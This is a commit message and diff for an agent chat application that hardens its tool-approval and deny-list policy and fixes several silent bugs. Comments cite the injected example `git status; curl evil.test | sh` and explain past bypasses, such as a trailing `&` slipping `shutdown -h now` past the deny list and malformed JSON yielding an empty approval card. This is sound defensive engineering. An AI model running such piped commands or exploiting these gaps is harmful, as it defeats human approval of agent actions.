Four things that failed silently in an agent chat, and an account of the work

Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
2026-08-03 21:58:42 +02:00
parent 6cffcb357d
commit 7c51dc306d
23 changed files with 1305 additions and 68 deletions
+108
View File
@@ -334,6 +334,114 @@ mode says "ask", and asking is exactly what happened. `AgentContext.approved` is
threaded per call on a *copy* of the context, because a round runs its calls threaded per call on a *copy* of the context, because a round runs its calls
together and only some of them were allowed. together and only some of them were allowed.
**A call's arguments are parsed once, and the same dict reaches everything.**
`generation._arguments_for` does it; the approval card, `policy.decide` and the
runner all read the result. There used to be two parsers: the card did a plain
`json.loads` and showed `{}` on failure, while `run_tool`'s own fallback put the
raw string into the tool's first required parameter — `command`, for
`shell_run`. So a model emitting invalid JSON got a card headed "Run a command"
with an **empty body** and Allow ran something nobody had been shown, and
`decide` was handed `command=""`, matching neither list. Malformed JSON is a
normal path with small models, and it was a way past the deny list. The fallback
itself is right and is kept, in `tools.parse_arguments`; what was wrong was
having it in only one of the two places.
**An unmatchable command line does not fall through a non-empty deny list.**
`policy.subject` returns `None` for anything carrying a shell metacharacter, so
no pattern can match it — right, and the whole reason `git *` in an allow list
cannot also mean `git status; curl evil.test | sh`. The original note said a
deny list needed no such care because failing open "returns you to the mode".
True of Manual, Edit and Plan. In **Auto** the mode is ALLOW, so `shutdown -h
now` asked and `shutdown -h now &` ran, and one character was the whole of the
difference. `decide` now asks when the subject is unmatchable *and* there is a
deny list — scoped to that, because otherwise Auto would ask about
`cd build && make`, which is most real commands.
**"Always allow this" is a per-chat list, and no pattern ever comes from a
request.** It was a button that did nothing: the verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, merged
into `AgentContext.allow` beside the instance list. This is the one key under
`scope_json` that *widens*, which does not break the rule beside it because that
rule is about which tools a chat may reach; this only decides whether the reader
is asked again about a tool already offered. What makes it safe is that
`api/chats.py:_remember_always` derives every entry server-side from an item
just approved on a card, through `policy.subject` — the same normaliser the
matcher uses, which yields nothing at all for a composed command. The endpoint
takes an interaction id and a verdict, and nothing else. The items must be read
**before** the pause is resolved (`interaction.wait_for` clears
`generation.pending` in its `finally`), which is what `generation.pending_items`
is for. The list is shown in the composer's scope menu with a Clear beside it: a
standing permission nobody can see is one nobody can revoke.
**A reply watches its own request size.** `_maybe_compact` runs once, *before*
the first round; after that a tool round appends an assistant turn and a tool
turn per call and nothing was looking. The only other guard,
`max_total_output_bytes`, defaults to a megabyte — about 260k tokens, larger
than the window of nearly every model this talks to — so it never fired first
and a long agent reply grew its request until the endpoint refused it. The
reader got an upstream error rather than an explanation. `_too_big` now stops
between rounds at `CONTEXT_HEADROOM` of `Model.context_length`, via the
`_gave_up` event that already existed. A `context_length` of 0 is **unknown, not
small**, and is skipped — the same rule the context percentage and automatic
compaction follow.
**And the estimate it reads has to follow the request.**
`tokens.estimate_request` was called once, before the loop, so it described the
first round and nothing after it. That matters beyond the ceiling: for every
endpoint that sends no usage block — llama.cpp, Ollama, llama-swap — that
estimate *is* what the metrics report, so a forty-round reply showed round one's
prompt as the whole reply's. It is recomputed per round now, and
`prompt_estimate_total` sums them, mirroring the reported figures exactly: the
prompt is **summed** across rounds because it was paid for each time, while what
the reply *occupies* is the last round's prompt plus what was written.
**`MAX_HARNESS_CHARS` has to be larger than the budgets the same code grants.**
It was 8000. The fragments alone are about 7,900 characters for an agent chat,
and `index_chars` (2,000) and `instructions_chars` (4,000) are granted on top,
both on by default. `prompts.assemble` cuts the **tail**, and by fragment order
the tail is the context worth having — so on a default install the project
listing was severed mid-tree and `context.agent_instructions` was dropped
entirely. The one path by which a project's own AGENTS.md reaches a model did
not reach it, and nothing said so. The two big blocks already carry their own
budgets, applied before assembly, so what this bounds is the *fragments* growing
unnoticed; it is set above the sum of what those budgets grant.
`tests/test_harness.py` pins that the shipped configuration fits.
**A model says what each action is for, and it is shown where the action is.**
`shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line,
carried onto the approval card as `Item.purpose` and onto the tool event, where
the transcript renders it in the *summary* rather than the collapsed body. Auto
mode is the case it exists for — nothing stops for approval there, so without it
a reader watches a list of commands with no account of any of them until the
reply ends. Kept apart from `Item.reason`, which is *our* reason for stopping;
an explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote. Not on `file_read`, `file_list` or
`file_search`: they are the hot path, their detail already says everything, and
a schema property costs tokens whether or not it is filled in. The wiring is a
`_explained` wrapper at the `ToolDef`, next to the schema that declares it, so
the two halves cannot drift.
**An agent chat is told to work to an objective, and to work out loud.**
`core.objective` and `core.narrate`, both `families=("agent",)`.
`core.narrate` is deliberately the opposite of `core.tools_preamble`'s "do not
announce that you are about to" — which is right for a short answer, read once
it is finished, and wrong for a long piece of work, which is *watched while it
runs*. It says so in its own words rather than referring to the other fragment,
which an administrator may have cleared. Neither appears in an ordinary chat,
where stating an objective in front of a two-line answer is the preamble
`core.style` already forbids. This costs nothing structurally: text produced
before a tool call already survives into the finished reply.
**A name in an f-string does not have to be a string.** `jobs.py` interpolated
`{log}` — the module logger — where it meant `{logf}`, so the launch-and-wait
wrapper ended `rm -f … <Logger lembas.services.agent.jobs (WARNING)> …`, whose
angle brackets and parentheses are shell syntax. The line died with a syntax
error *after* the sentinel, where nothing reads it, so every command still
worked and every job silently left four files on the far side forever —
including the log holding everything it printed. Nothing caught it because the
tests asserted on the output, which was correct. `tests/test_agent_jobs.py` now
runs every wrapper through `sh -n`.
**`registry(db)` must know every tool that can be offered, agent tools **`registry(db)` must know every tool that can be offered, agent tools
included.** It maps an offered tool *name* back to a family, which is how the included.** It maps an offered tool *name* back to a family, which is how the
harness decides that `tool.agent` applies. They are listed there unbound to any harness decides that `tool.agent` applies. They are listed there unbound to any
+76 -2
View File
@@ -32,9 +32,9 @@ from lembas.services import chat as chat_service
from lembas.services import compaction as compaction_service from lembas.services import compaction as compaction_service
from lembas.services import files as files_service from lembas.services import files as files_service
from lembas.services import generation as generation_service from lembas.services import generation as generation_service
from lembas.services import interaction, settings_store, sse
from lembas.services import metrics as metrics_service from lembas.services import metrics as metrics_service
from lembas.services import prompts as prompts_service from lembas.services import prompts as prompts_service
from lembas.services import settings_store, sse
from lembas.services import tools as tools_service from lembas.services import tools as tools_service
from lembas.services.agent import policy as agent_policy from lembas.services.agent import policy as agent_policy
from lembas.services.agent import terminal as terminal_service from lembas.services.agent import terminal as terminal_service
@@ -1309,6 +1309,16 @@ async def answer_interaction(
""" """
chat = _owned_chat(db, chat_id, user.id) chat = _owned_chat(db, chat_id, user.id)
form = await request.form() form = await request.form()
verdict = str(form.get("verdict") or "").strip()
# Read and recorded *before* resolving: `interaction.wait_for` clears
# `generation.pending` in its `finally`, so a moment later there is nothing
# left to remember and "always" would quietly mean "once".
remembered = 0
if verdict == interaction.ALLOW_ALWAYS:
remembered = _remember_always(
db, chat, generation_service.pending_items(chat.id, interaction_id)
)
answers: dict[str, str] = {} answers: dict[str, str] = {}
for field, value in form.multi_items(): for field, value in form.multi_items():
@@ -1324,7 +1334,7 @@ async def answer_interaction(
answered = generation_service.answer( answered = generation_service.answer(
chat.id, chat.id,
interaction_id, interaction_id,
verdict=str(form.get("verdict") or "").strip(), verdict=verdict,
answers=answers, answers=answers,
) )
@@ -1333,9 +1343,73 @@ async def answer_interaction(
response.headers["HX-Trigger"] = json.dumps( response.headers["HX-Trigger"] = json.dumps(
{"lembas:notify": {"message": "That question is no longer waiting for an answer."}} {"lembas:notify": {"message": "That question is no longer waiting for an answer."}}
) )
elif remembered:
response.headers["HX-Trigger"] = json.dumps(
{
"lembas:notify": {
"message": (
f"This chat will not ask about {remembered} more action"
f"{'' if remembered == 1 else 's'}. Clear that from the menu "
"beside the composer."
)
}
}
)
return response return response
def _remember_always(db: DBSession, chat: Chat, items) -> int:
"""Record what "always allow" was said about. Returns how many were new.
The pattern is derived **here**, from the item that was approved, and never
taken from the request -- the endpoint accepts an interaction id and a
verdict and nothing else. `agent_policy.subject` is the same normaliser
`decide` matches with, so what is stored is exactly what will be compared
later; it returns None for a command line carrying a shell metacharacter,
which is precisely the shape that must never become a standing permission.
A tool name for everything that is not a command, which is the convention
the shipped `allow_default` already uses: `file_read` and `file_list` are
entries in it.
"""
scope = dict(chat.scope_json or {})
entries = list(scope.get("allow") or [])
added = 0
for item in items:
if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS:
continue
pattern = agent_policy.subject(item.tool_name, item.detail)
if not pattern or pattern in entries:
continue
entries.append(pattern)
added += 1
if added:
# Reassigned rather than mutated: a plain dict assignment into a JSON
# column is not detected.
chat.scope_json = {**scope, "allow": entries}
db.commit()
log.info("chat %s will stop asking about %d action(s)", chat.id, added)
return added
@router.post("/{chat_id}/allow/clear")
async def clear_allow(db: Db, user: RequiredUser, chat_id: str) -> Response:
"""Forget everything this chat was told to stop asking about.
An empty body rather than a 204, because the row in the menu has to
disappear -- htmx does not swap on a 204, and a Clear that leaves the count
on screen is the silent control this codebase keeps cataloguing.
"""
chat = _owned_chat(db, chat_id, user.id)
scope = dict(chat.scope_json or {})
if scope.pop("allow", None) is not None:
chat.scope_json = scope
db.commit()
return HTMLResponse("")
@router.patch("/{chat_id}") @router.patch("/{chat_id}")
async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str) -> Response: async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str) -> Response:
"""Partially update a chat. """Partially update a chat.
+9 -2
View File
@@ -86,7 +86,7 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
from lembas.services.library import skills as skills_service from lembas.services.library import skills as skills_service
if chat is None: if chat is None:
return {"scope_families": [], "scope_skills": []} return {"scope_families": [], "scope_skills": [], "scope_allow": []}
off = tools_service.scoped_off(chat) off = tools_service.scoped_off(chat)
skills_off = tools_service.scoped_skills_off(chat) skills_off = tools_service.scoped_skills_off(chat)
@@ -124,7 +124,14 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict:
if name not in {s["name"] for s in skills}: if name not in {s["name"] for s in skills}:
skills.append({"name": name, "description": "", "on": False}) skills.append({"name": name, "description": "", "on": False})
return {"scope_families": families, "scope_skills": skills} # What this chat has been told to stop asking about. Shown so the list
# cannot grow invisibly: every entry is one click of "Always allow this" on
# a card, and a standing permission nobody can see is one nobody can revoke.
return {
"scope_families": families,
"scope_skills": skills,
"scope_allow": list(tools_service.scoped_allow(chat)),
}
# What a gate is called in the menu. A gate covers several tools, so no single # What a gate is called in the menu. A gate covers several tools, so no single
+6 -1
View File
@@ -179,7 +179,12 @@ def launch_and_wait_command(chat_id: str, job_id: str, command: str, max_bytes:
f"tail -c {max_bytes} {logf} 2>/dev/null\n" f"tail -c {max_bytes} {logf} 2>/dev/null\n"
f"printf '\\n{s}:'\n" f"printf '\\n{s}:'\n"
f"cat {exit_} 2>/dev/null || printf LOST\n" f"cat {exit_} 2>/dev/null || printf LOST\n"
f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {log} {exit_}\n" # `logf`, not `log`. The module logger is a perfectly good f-string
# operand and formats to "<Logger … (WARNING)>", whose angle brackets and
# parentheses are shell syntax -- so this line died with a syntax error,
# after the sentinel where nothing reads it, and every job's four files
# were left on the far side forever. See the note in CLAUDE.md.
f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {logf} {exit_}\n"
) )
+29 -8
View File
@@ -86,11 +86,15 @@ POLICY: dict[str, dict[str, str]] = {
MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK}, MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK},
} }
# A shell metacharacter makes a command line unmatchable, so it falls through to # A shell metacharacter makes a command line unmatchable, so no pattern may be
# the mode's own verdict rather than to an allow-list entry. Without this, # applied to it. Without this, `git *` in an allow list also matches
# `git *` in an allow list also matches `git status; curl evil.test | sh`, which # `git status; curl evil.test | sh`, which is the whole ballgame.
# is the whole ballgame. A deny list needs no such rule: failing open there #
# returns you to the mode, while failing open on an allow list runs the command. # The original reasoning stopped there, arguing a deny list needed no such care
# because "failing open returns you to the mode". That is true of Manual, Edit
# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So
# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the
# whole of the difference. See `decide`.
_UNSAFE = re.compile(r"[;&|<>`$\n\\()]") _UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
@@ -171,11 +175,13 @@ def decide(
1. A deny wins before everything, **including Auto**. A deny list that Auto 1. A deny wins before everything, **including Auto**. A deny list that Auto
ignores is not a deny list, it is a suggestion. ignores is not a deny list, it is a suggestion.
2. `ask` never resolves to allow. `ask_user` asks in every mode; that is 2. A command line nobody can match is not a command line the deny list can
clear. See below.
3. `ask` never resolves to allow. `ask_user` asks in every mode; that is
what the tool is for, and a mode that skipped it would answer the what the tool is for, and a mode that skipped it would answer the
model's question on the reader's behalf. model's question on the reader's behalf.
3. An allow-list hit runs it. 4. An allow-list hit runs it.
4. Otherwise the table. 5. Otherwise the table.
An unrecognised mode is treated as Manual, not Auto: a row that predates a An unrecognised mode is treated as Manual, not Auto: a row that predates a
rename has to fail towards asking. rename has to fail towards asking.
@@ -186,6 +192,21 @@ def decide(
if hit: if hit:
return Decision(ASK, f"{hit}” is on the list of commands to always ask about.") return Decision(ASK, f"{hit}” is on the list of commands to always ask about.")
# Unmatchable *and* somebody has said what to always ask about. Falling
# through here is what let `shutdown -h now &` run in Auto while
# `shutdown -h now` asked: `subject` returns None for anything containing a
# metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW.
#
# Only when there is a deny list at all. Making every compound command ask
# regardless would take `cd build && make` -- which is most real commands --
# away from the mode whose whole purpose is not asking.
if candidate is None and deny:
return Decision(
ASK,
"This command line runs more than one thing, so it cannot be "
"checked against the list of commands to always ask about.",
)
if risk == RISK_ASK: if risk == RISK_ASK:
return Decision(ASK, "") return Decision(ASK, "")
+16 -1
View File
@@ -149,6 +149,17 @@ def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | No
return profile return profile
def _allow_for(chat: Chat) -> tuple[str, ...]:
"""Imported inside `resolve` rather than at module scope.
`services/tools.py` imports this module's `resolve`, so a top-level import
back the other way is a cycle.
"""
from lembas.services import tools as tools_service
return tools_service.scoped_allow(chat)
def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None: def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None:
"""This chat's agent setup, or None if it has none it can use. """This chat's agent setup, or None if it has none it can use.
@@ -179,7 +190,11 @@ def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None
project_dir=chat.project_dir or profile.default_dir or "", project_dir=chat.project_dir or profile.default_dir or "",
profile_id=profile.id, profile_id=profile.id,
mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL, mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL,
allow=tuple(values.get("allow_default") or ()), # The instance's list, plus whatever this chat's reader has said
# "always" to on a card. Never the other way round for the deny list:
# a chat cannot un-deny anything, and `decide` consults deny first
# regardless.
allow=(*(values.get("allow_default") or ()), *_allow_for(chat)),
deny=tuple(values.get("deny_default") or ()), deny=tuple(values.get("deny_default") or ()),
limits=Limits( limits=Limits(
steps=int(values.get("max_steps") or 200), steps=int(values.get("max_steps") or 200),
+70 -6
View File
@@ -51,6 +51,57 @@ MAX_DIFF_LINES = 200
_STRING = {"type": "string"} _STRING = {"type": "string"}
# What the model says it is doing, offered on everything that changes something
# or that stops for approval. It is shown to the person -- above the command on
# an approval card, and beside the call in the transcript when nothing stopped
# for approval at all -- which is the only reason it exists: in Auto mode a
# reader otherwise watches a list of commands with no account of what they are
# for until the reply ends.
#
# Not on `file_read`, `file_list` or `file_search`. They are the hot path, their
# detail says everything ("Read src/main.py"), and a schema property costs
# tokens on every request whether or not it is filled in.
_WHY = {
**_STRING,
"description": (
"One short line saying what you are doing this for, in plain language. "
"It is shown to the person — beside the command when they are asked to "
"approve it, and in the transcript when they are not."
),
}
# One line, and short. It goes in a summary line beside the command, and it is
# stored on the message row forever.
MAX_WHY_CHARS = 240
def why_of(args: dict[str, Any]) -> str:
"""What the model said this call is for, as one short line."""
return " ".join(str(args.get("why") or "").split())[:MAX_WHY_CHARS]
def _explained(run):
"""Wrap a runner so whatever it returns carries the model's explanation.
Applied at the `ToolDef`, next to the schema that declares `why`, so the two
halves cannot drift apart -- a tool that offers the argument records it, and
one that does not offer it never sees it.
A wrapper rather than a parameter threaded through, because `shell_run`
alone builds its outcome in five places -- foreground, convertible,
launched, backgrounded and the shared formatter -- and none of them has any
other reason to know this exists. `ToolOutcome.event` is a plain mutable
dict, so every path through a runner is covered by one line here.
"""
async def wrapped(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
outcome = await run(context, args)
if why := why_of(args):
outcome.event["why"] = why
return outcome
return wrapped
def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]: def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]:
"""One line in the transcript for one call. """One line in the transcript for one call.
@@ -715,6 +766,7 @@ def _no_machine(name: str) -> ToolOutcome:
def _shell_parameters(background_on: bool) -> dict[str, Any]: def _shell_parameters(background_on: bool) -> dict[str, Any]:
properties: dict[str, Any] = { properties: dict[str, Any] = {
"command": {**_STRING, "description": "The command line to run."}, "command": {**_STRING, "description": "The command line to run."},
"why": _WHY,
"cwd": {**_STRING, "description": "Where to run it. Defaults to the project directory."}, "cwd": {**_STRING, "description": "Where to run it. Defaults to the project directory."},
"timeout": { "timeout": {
"type": "number", "type": "number",
@@ -758,7 +810,7 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
"non-interactive rather than waiting for it to ask." "non-interactive rather than waiting for it to ask."
), ),
parameters=_shell_parameters(bool(context and context.background)), parameters=_shell_parameters(bool(context and context.background)),
run=_run_shell, run=_explained(_run_shell),
risk=RISK_EXECUTE, risk=RISK_EXECUTE,
), ),
ToolDef( ToolDef(
@@ -793,10 +845,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
"properties": { "properties": {
"path": {**_STRING, "description": "The file to write."}, "path": {**_STRING, "description": "The file to write."},
"content": {**_STRING, "description": "Its whole new contents."}, "content": {**_STRING, "description": "Its whole new contents."},
"why": _WHY,
}, },
"required": ["path", "content"], "required": ["path", "content"],
}, },
run=_run_write, run=_explained(_run_write),
risk=RISK_WRITE, risk=RISK_WRITE,
), ),
ToolDef( ToolDef(
@@ -823,10 +876,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
**_STRING, **_STRING,
"description": "The unified diff to apply.", "description": "The unified diff to apply.",
}, },
"why": _WHY,
}, },
"required": ["path", "patch"], "required": ["path", "patch"],
}, },
run=_run_edit, run=_explained(_run_edit),
risk=RISK_WRITE, risk=RISK_WRITE,
), ),
ToolDef( ToolDef(
@@ -1027,10 +1081,13 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
description="Stop a background job, killing it and everything it started.", description="Stop a background job, killing it and everything it started.",
parameters={ parameters={
"type": "object", "type": "object",
"properties": {"id": {**_STRING, "description": "The job id."}}, "properties": {
"id": {**_STRING, "description": "The job id."},
"why": _WHY,
},
"required": ["id"], "required": ["id"],
}, },
run=_run_job_stop, run=_explained(_run_job_stop),
# It terminates a process on the machine, so it goes through the mode # It terminates a process on the machine, so it goes through the mode
# table exactly as shell_run does. # table exactly as shell_run does.
risk=RISK_EXECUTE, risk=RISK_EXECUTE,
@@ -1053,4 +1110,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
return [tool for tool in defs if tool.name not in drop] return [tool for tool in defs if tool.name not in drop]
__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"] __all__ = [
"FAMILY_AGENT",
"MAX_DIFF_LINES",
"MAX_EVENT_CHARS",
"MAX_WHY_CHARS",
"tool_defs",
"why_of",
]
+132 -23
View File
@@ -17,7 +17,6 @@ from __future__ import annotations
import asyncio import asyncio
import contextlib import contextlib
import json
import logging import logging
import time import time
import uuid import uuid
@@ -35,6 +34,7 @@ from lembas.services import metrics as metrics_service
from lembas.services import prompts as prompts_service from lembas.services import prompts as prompts_service
from lembas.services import tools as tools_service from lembas.services import tools as tools_service
from lembas.services.agent import policy as agent_policy from lembas.services.agent import policy as agent_policy
from lembas.services.agent import tools as agent_tools
from lembas.services.llm.openai_client import ( from lembas.services.llm.openai_client import (
LLMError, LLMError,
chunk_usage, chunk_usage,
@@ -69,6 +69,18 @@ MAX_TOOL_ROUNDS = 200
# say so and be believed rather than argued with indefinitely. # say so and be believed rather than argued with indefinitely.
MAX_NUDGES = 2 MAX_NUDGES = 2
# How much of the window a request may occupy before the next round is refused.
# A tool round appends an assistant turn and a tool turn per call, so a reply
# that keeps calling tools grows its own request until the endpoint refuses it --
# and `_maybe_compact` runs once, before the first round, so nothing was watching
# it after that. The only other guard, `max_total_output_bytes`, defaults to a
# megabyte, which is about 260k tokens: larger than the window of nearly every
# model this talks to, so it never fired first.
#
# The tenth left over is room to answer in. Stopping with an explanation beats an
# upstream error that says only that the request was too long.
CONTEXT_HEADROOM = 0.9
@dataclass @dataclass
class Generation: class Generation:
@@ -98,6 +110,14 @@ class Generation:
# has a percentage to show while the reply is still being written -- real # has a percentage to show while the reply is still being written -- real
# usage only arrives in a single chunk at the very end. # usage only arrives in a single chunk at the very end.
prompt_estimate: int = 0 prompt_estimate: int = 0
# Every round's estimate added up, against `prompt_estimate` being only the
# latest. The two answer different questions and both are wanted: what the
# reply *cost* is the sum, because a three-round reply pays for its prompt
# three times; what it *occupies* is the last one. That is exactly the split
# the reported figures already use between `prompt_tokens` and
# `context_tokens`, so the fallback mirrors it rather than inventing a
# second convention.
prompt_estimate_total: int = 0
rounds: int = 0 rounds: int = 0
# time.monotonic() at the start. A field rather than a local in `_run` # time.monotonic() at the start. A field rather than a local in `_run`
# because `_follow` is a different function that sees only this object, and # because `_follow` is a different function that sees only this object, and
@@ -215,6 +235,26 @@ def answer(
return False return False
def pending_items(chat_id: str, interaction_id: str) -> tuple[interaction.Item, ...]:
"""What the card this chat is waiting on is asking about.
For the route that has to record what "always" meant. It must be read
*before* the pause is resolved: `interaction.wait_for` clears
`generation.pending` in its `finally`, so a moment later there is nothing
left to read and "always" would silently remember nothing.
Empty when there is no such pause -- already answered, timed out, or the
server restarted -- which is the same answer `answer` gives, and means a
stale card records nothing rather than half of something.
"""
for generation in _RUNNING.values():
pending = generation.pending
if generation.chat_id != chat_id or pending is None or pending.id != interaction_id:
continue
return pending.items
return ()
def running_for(chat_id: str) -> Generation | None: def running_for(chat_id: str) -> Generation | None:
"""The reply being written in this chat, if there is one. """The reply being written in this chat, if there is one.
@@ -381,8 +421,6 @@ async def _run(generation: Generation) -> None:
chat_rounds = settings_store.chat_rounds(db) chat_rounds = settings_store.chat_rounds(db)
nudge_enabled = bool(settings_store.agents(db).get("nudge_unfinished")) nudge_enabled = bool(settings_store.agents(db).get("nudge_unfinished"))
generation.prompt_estimate = tokens.estimate_request(payload)
limits = tool_context.agent.limits if tool_context.agent else None limits = tool_context.agent.limits if tool_context.agent else None
# A ceiling, not a schedule -- the loop below ends the moment a round # A ceiling, not a schedule -- the loop below ends the moment a round
# produces no tool calls, which is the model saying it is done. Zero # produces no tool calls, which is the model saying it is done. Zero
@@ -394,6 +432,24 @@ async def _run(generation: Generation) -> None:
for round_number in range(budget + 1): for round_number in range(budget + 1):
generation.rounds = round_number + 1 generation.rounds = round_number + 1
# Recomputed every round, against once before the loop. The request
# grows by an assistant turn and a tool turn per call each time, so
# a single estimate taken up front described the first round and
# nothing after it -- and for the endpoints that send no usage block
# at all (llama.cpp, Ollama and friends) that estimate *is* the
# figure everything downstream reports. A forty-round reply showed
# the first round's prompt as the whole reply's.
generation.prompt_estimate = tokens.estimate_request(payload)
generation.prompt_estimate_total += generation.prompt_estimate
# Before spending a request that cannot fit. Outside the agent
# branch below on purpose: an ordinary chat with a round budget can
# fill a small window too, and `context_limit` is what decides,
# not what kind of chat it is.
if round_number and _too_big(generation):
_gave_up(generation, "with no room left in the context window")
break
# Checked between rounds, never mid-stream: cutting a reply off in # Checked between rounds, never mid-stream: cutting a reply off in
# the middle of a sentence to enforce a budget produces garbage, and # the middle of a sentence to enforce a budget produces garbage, and
# Stop already covers the mid-stream case. Time spent waiting for a # Stop already covers the mid-stream case. Time spent waiting for a
@@ -530,15 +586,23 @@ async def _run(generation: Generation) -> None:
break break
messages = [ messages = [
# The **raw** arguments string, not the parsed dict: the
# endpoint has to see back exactly what it sent, or an
# id-matching server pairs its own call with something it does
# not recognise.
*payload["messages"], *payload["messages"],
tools_service.assistant_turn(calls, "".join(round_text)), tools_service.assistant_turn(calls, "".join(round_text)),
] ]
# Parsed once, here, and shared by everything below: the approval
# card, `policy.decide`, and the runner. See `_arguments_for`.
arguments = _arguments_for(tool_context, calls)
# Decided before anything runs, never during. A round's calls run # Decided before anything runs, never during. A round's calls run
# together under a semaphore, and four people-shaped pauses inside # together under a semaphore, and four people-shaped pauses inside
# that gather would queue behind each other invisibly -- see # that gather would queue behind each other invisibly -- see
# services/interaction.py. # services/interaction.py.
decided, allowed = await _authorise(generation, tool_context, calls) decided, allowed = await _authorise(generation, tool_context, calls, arguments)
if generation.stopped: if generation.stopped:
break break
@@ -546,7 +610,7 @@ async def _run(generation: Generation) -> None:
generation.touch() generation.touch()
try: try:
outcomes = await _run_calls( outcomes = await _run_calls(
tool_context, calls, decided=decided, allowed=allowed tool_context, calls, arguments, decided=decided, allowed=allowed
) )
finally: finally:
generation.status = "" generation.status = ""
@@ -620,8 +684,14 @@ async def _run(generation: Generation) -> None:
generation.completion_tokens = tokens.estimate( generation.completion_tokens = tokens.estimate(
generation.text + generation.thinking generation.text + generation.thinking
) )
generation.prompt_tokens = generation.prompt_estimate # Mirroring the reported figures exactly: the prompt is summed
generation.context_tokens = generation.prompt_tokens + generation.completion_tokens # across rounds because it was paid for each time, while what the
# reply *occupies* is the last round's prompt plus what was written.
# Both used to come from one estimate taken before the first round.
generation.prompt_tokens = (
generation.prompt_estimate_total or generation.prompt_estimate
)
generation.context_tokens = generation.prompt_estimate + generation.completion_tokens
# Naming the chat is a second, short completion, so it has to happen # Naming the chat is a second, short completion, so it has to happen
# here rather than in the synchronous persist step below. Best-effort: # here rather than in the synchronous persist step below. Best-effort:
@@ -900,6 +970,20 @@ def _nudge(
} }
def _too_big(generation: Generation) -> bool:
"""Whether the request about to go out leaves no room to answer in.
`context_limit` of 0 is *unknown*, not small -- the rule this codebase
already applies to the context percentage and to automatic compaction -- so
a model nobody has declared a window for is never stopped by this. That is
the honest answer: the alternative is refusing to work on every model an
administrator has not filled a number in for.
"""
if not generation.context_limit:
return False
return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM
def _written(generation: Generation) -> int: def _written(generation: Generation) -> int:
"""How much this reply has written so far, in tokens, reported or estimated. """How much this reply has written so far, in tokens, reported or estimated.
